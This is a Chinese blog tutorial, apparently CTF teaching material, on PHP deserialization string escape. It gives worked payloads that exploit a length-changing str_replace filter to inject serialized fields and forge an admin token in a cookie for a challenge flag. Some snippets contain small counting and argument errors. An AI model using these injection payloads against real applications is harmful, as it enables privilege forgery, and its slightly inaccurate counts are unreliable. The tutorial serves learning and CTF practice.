反序列化字符串逃逸(上篇)

首先,必须先明白,这个点并不难,我给大家梳理一遍就会明白。

反序列化字符串逃逸就是序列化过程中逃逸出来字符,是不是很简单,哈哈哈!

好了,不闹了,其实:

这里你们只要懂得一个基础:

serialize() 函数序列化后可以保留其原始数据类型和结构,

而filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

举个栗子:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}
$u=new user('admin','123456');
echo serialize($u);

这里就是最最基础的一个反序列化,然后运行得到的结果是:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

1.这里在实战中相当于拿到一道题目,先拿到最初的反序列化

接下来,我在原来的代码上稍微做个字符串逃逸

再强调一次:filter() 函数则可以对序列化后的字符串进行过滤,例如去除不安全的字符防止代码注入攻击等。具体过滤规则需要根据实际需求来定制。

2:修改一下原来代码:filter() 函数对序列化后的字符串进行过滤,进行字符串逃逸。

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('admin','hacker',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);//$u=new user('admin','123456');
//echo serialize($u);echo $us;

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最初

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}//最新逃逸后

在序列化字符串中,s:5:"hacker" 表示字符串类型的属性值,其中 s:5: 表示字符串长度为 5,而实际上应该是 6("hacker")。到这里已经逃逸成功了。这是因为在 filter() 函数中,将 "admin" 替换为 "hacker" 后,字符串长度发生了变化,导致序列化字符串中的长度信息不准确。

所以接下来这里我就要把;s:3:"BTG";i:0;这里的BTG变成1;

代码:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);//这里就是把";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}放进'admin'里面补齐最后一个字符而已,";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}这里有45个字符,就直接一共45个admin,因为每次逃逸一个字符,所以必须重复45次$u_serialize=serialize($u);
$us=filter($u_serialize);echo($u_serialize);
结果:O:4:"user":3:{s:8:"username";s:270:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}";s:8:"password";s:6:"123456";s:3:"BTG";i:0;}

其实就到这里就搞定了,如果不放心,那就var——dump,把反序列化输出出来,

验证阶段:

<?php
class user{public $username;public $password;public $BTG;public function __construct($u,$p){$this ->username=$u;$this ->password=$p;$this->BTG=0;}
}function filter($s){return str_replace('admin','hacker',$s);
}
$u = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:3:"BTG";i:1;}','123456',$s);
$u_serialize=serialize($u);
$us=filter($u_serialize);$obj=unserialize($us);var_dump($obj);

结果:

object(user)#2 (3) {
  ["username"]=>
  string(270) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
  string(6) "123456"
  ["BTG"]=>
  int(1)
}
这里BTG从0变成了1,说明你是污染成功了的,因为我的原代码里面写死了BTG是0的,现在变成了1,所以证明反序列化是成功了。

我说现在大家应该都已经懂得反序列化字符串逃逸的一半了,不信?让我来引导大家做道例题就好了!

<?php


# @message.php


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


字符串逃逸特征: $umsg = str_replace('fuck', 'loveU', serialize($msg));

做这种题就三步走,千万别给自己加戏!

第一步:先拿到以个正常最初的反序列化:

代码如下

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('a','b','c');$msg_1=serialize($msg);echo $msg_1;

O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";N;s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
 

第二步:使用filter进行一次字符串逃逸。

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuck','b','c');$msg_1=serialize($msg);$msg_2=filter($msg_1);echo $msg_2;

O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
第三步:算出要逃逸的次数进行复制输出

s:4:"loveU"很明显逃逸一个字符,因为每次逃逸一个字符,";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}这里有62个字符要逃逸,所以必须复制61次fuck,还有这得改成:";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";},因为后面需要admin权限。

简单来说就是把";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}丢到fuck后面,然后根据字符个数,复制几次,就完成了。

<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from=$f;$this->msg=$m;$this->to=$t;}}
function filter($msg){return str_replace('fuck','loveU',$msg);
}
$msg=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');$msg_1=serialize($msg);$msg_2=filter($msg_1);echo $msg_2;

O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

搞定了!这就完成了,如果不放心,可以加一步验证(因为数很多字符容易出错
 

也就改一下输出那个,这个半分钟就好最终变成了admin,说明我们反序列化成功的了。

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这道题目还有一点尾巴,这道题目还有一点隐藏代码,接下来把fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}加入道cookie就能拿到flag了

最后的最后,再进行一次总结:字符串逃逸有三步:

1.拿到正常序列化后字符串。(这个题目都会给·代码你,直接复制然后反序列化就好,没什么技术含量)

2.使用filter进行一次字符串逃逸。

3.第三步:算出要逃逸的次数进行复制输出(但是这里一定要提醒大家一下,字符串逃逸分为增多和减少,苦于篇幅上面我只介绍了一种增多,另外一种也是可以使用本方法的,只是有些地方要改一下,这个等我之后再更新文章)

ps:记住!无论字符串逃逸是增多还是减少,都是因为 return str_replace这个玩意替换字符后造成的逃逸。

希望我的文章能够帮助大家,谢谢看到这里的各位。


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/243869.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【服务器NextChat】创建部署NextChat网站

目录 🌺【前言】 🌼1. 购买服务器 🌼2.【NextChat—gpt-3.5-turbo模型】 🌻2.1 服务器设置 🌻2.2 打开Xshell软件:安装docker环境 (1)安装OpenAI (2)检查下是否运行成功 🌻2.3 重置OpenAPI 秘钥方法 🌻2.4 如需域名访问,请接着往下看 🌼3.【Ne…

Docker项目部署()

1.创建文件夹tools mkdir tools 配置阿里云 Docker Yum 源 : yum install - y yum - utils device - mapper - persistent - data lvm2 yum - config - manager -- add - repo http://mirrors.aliyun.com/docker- ce/linux/centos/docker - ce.repo 更新 yum 缓存 yum makec…

产品经理学习-产品运营《用户运营策略》

⽤户画像与⽤户运营策略 什么是用户画像 对产品运营而言&#xff0c;用户画像就是对用户的各种特征贴上标签通过这些标签将用户分成不同的用户群体 为用户提供有针对性的服务。 制作用户画像是为了专注和精准 使产品的服务对象更加聚焦&#xff0c;更加专注&#xff1b;根据产…

写着玩的程序:pycharm实现无限弹窗程序(非病毒程序,仅整蛊使用)

运行环境 PyCharm 2023.2.1 python3.11 具体内容 源代码 import tkinter as tk from tkinter import messagebox import threadingclass PopupGenerator:def __init__(self):self.root tk.Tk()self.root.geometry("200x120")self.root.title("无限弹窗&qu…

springboot整合MongoDB实战

目录 环境准备 引入依赖 配置yml 注入mongoTemplate 集合操作 文档操作 创建实体 添加文档 查询文档 更新文档 删除文档 环境准备 引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-da…

peer eslint-plugin-vue@“^7.0.0“ from @vue/eslint-config-standard@6.1.0

问题&#xff1a; 用vue/cli脚手架安装项目时&#xff0c;选择ESlint&#xff0c;再安装依赖包的时候&#xff0c;会报以下错误&#xff0c; 原因&#xff1a; npmV7 之前的版本遇到依赖冲突时&#xff0c;会忽视冲突&#xff0c;继续安装&#xff1b; npmV7版本开始不再自动忽…

概率论与数理统计————3.随机变量及其分布

一、随机变量 设E是一个随机试验&#xff0c;S为样本空间&#xff0c;样本空间的任意样本点e可以通过特定的对应法则X&#xff0c;使得每个样本点都有与之对应的数对应&#xff0c;则称XX&#xff08;e&#xff09;为随机变量 二、分布函数 分布函数&#xff1a;设X为随机变量…

【Linux】-对于信号章节补充的知识点,以及多线程知识的汇总

&#x1f496;作者&#xff1a;小树苗渴望变成参天大树&#x1f388; &#x1f389;作者宣言&#xff1a;认真写好每一篇博客&#x1f4a4; &#x1f38a;作者gitee:gitee✨ &#x1f49e;作者专栏&#xff1a;C语言,数据结构初阶,Linux,C 动态规划算法&#x1f384; 如 果 你 …

数组中的内存(java)

java内存分配&#xff1a; 栈&#xff1a;方法运行时使用的内存&#xff0c;比如main方法运行&#xff0c;进入方法栈中执行 程序的主入口&#xff08;main方法&#xff09;开始执行时会进栈&#xff0c;代码执行完毕会出栈 堆&#xff1a;存储对象或者数组&#xff0c;new来…

基于Python实现人脸识别相似度对比

目录 引言背景介绍目的和意义 人脸识别的原理人脸图像获取人脸检测与定位人脸特征提取相似度计算 基于Python的人脸相似度对比实现数据集准备人脸图像预处理特征提取相似度计算 引言 背景介绍 人脸识别技术是一种通过计算机对人脸图像进行分析和处理&#xff0c;从而实现自动识…

Debian系统写Mysql时中文出现乱码无法定入的问题解决方案

原因是操作系统可能精简安装&#xff0c;没有GBK字符集&#xff0c;只有UTF8在转换或使用的时候有问题。 使用locale -a查看系统支持的字符集。正常的比较全的字符集的操作系统如下&#xff1a; 有问题的操作系统字符集如下&#xff1a; 解决方案&#xff1a; 步骤1&#…

LeetCode.670. 最大交换

题目 题目链接 分析 这道题的意思是我们只能交换一次&#xff0c;需要得到最大的数字。 我们的第一个想法就是要这个数字先变成一个数组&#xff0c;便于我们操作。 然后把数组最大的数放到第一个位置&#xff0c;如果最大的数字已经在第一个位置&#xff0c;那么就把次大的…

【MySQL】最左匹配原则

最左匹配原则 0x1 简单说下什么是最左匹配原则 顾名思义&#xff1a;最左优先&#xff0c;以最左边的为起点任何连续的索引都能匹配上。同时遇到范围查询(>、<、between、like&#xff09;就会停止匹配。 例如&#xff1a;b 2 如果建立(a&#xff0c;b&#xff09;顺序…

C++ 实现游戏(例如MC)键位显示

效果&#xff1a; 是不是有那味儿了&#xff1f; 显示AWSD&#xff0c;空格&#xff0c;Shift和左右键的按键情况以及左右键的CPS。 彩虹色轮廓&#xff0c;黑白填充。具有任务栏图标&#xff0c;可以随时关闭字体是Minecraft AE Pixel&#xff0c;如果你没有装&#xff08;大…

3.【SpringBoot3】文章分类接口开发

序言 在文章分类模块&#xff0c;有以下接口需要开发&#xff1a; 新增文章分类文章分类列表获取文章分类详情更新文章分类删除文章分类 数据库表字段和实体类属性&#xff1a; 在数据库表中&#xff0c;create_user 来自于 user 表中的主键 id&#xff0c;是用来记录当前文…

JDK8新特性(一)集合之 Stream 流式操作

1.Stream流由来 首先我们应该知道&#xff1a;Stream流的出现&#xff0c;主要是用在集合的操作上。在我们日常的工作中&#xff0c;经常需要对集合中的元素进行相关操作。诸如&#xff1a;增加、删除、获取元素、遍历。 最典型的就是集合遍历了。接下来我们先举个例子来看看 J…

MYSQL之索引语法与使用

索引分类 分类 含义 特点 关键字 主键索引 针对表中主键创建的索引 默认自动创建&#xff0c;只能有一个 PRIMARY 唯一索引 …

Gateway+Springsecurity+OAuth2.0+JWT 实现分布式统一认证授权!

目录 1. OAuth2.0授权服务 2. 资源服务 3. Gateway网关 4. 测试 在SpringSecurityOAuth2.0 搭建认证中心和资源服务中心-CSDN博客 ​​​​​​ 基础上整合网关和JWT实现分布式统一认证授权。 大致流程如下&#xff1a; 1、客户端发出请求给网关获取令牌 2、网关收到请求…

Golang 中如何实现 Set

在Go编程中&#xff0c;数据结构的选择对解决问题至关重要。本文将探讨如何在 GO 中实现 set 和 bitset 两种数据结构&#xff0c;以及它们在Go中的应用场景。 Go 的数据结构 Go 内置的数据结构并不多。工作中&#xff0c;我们最常用的两种数据结构分别是 slice 和 map&#…

K8S--安装Nginx

原文网址&#xff1a;K8S--安装Nginx-CSDN博客 简介 本文介绍K8S安装Nginx的方法。 1.创建Nginx目录及配置文件 mkdir -p /work/devops/k8s/app/nginx/{config,html} 在config目录下创建nginx.conf配置文件&#xff0c;内容如下&#xff1a; # events必须要有 events {wo…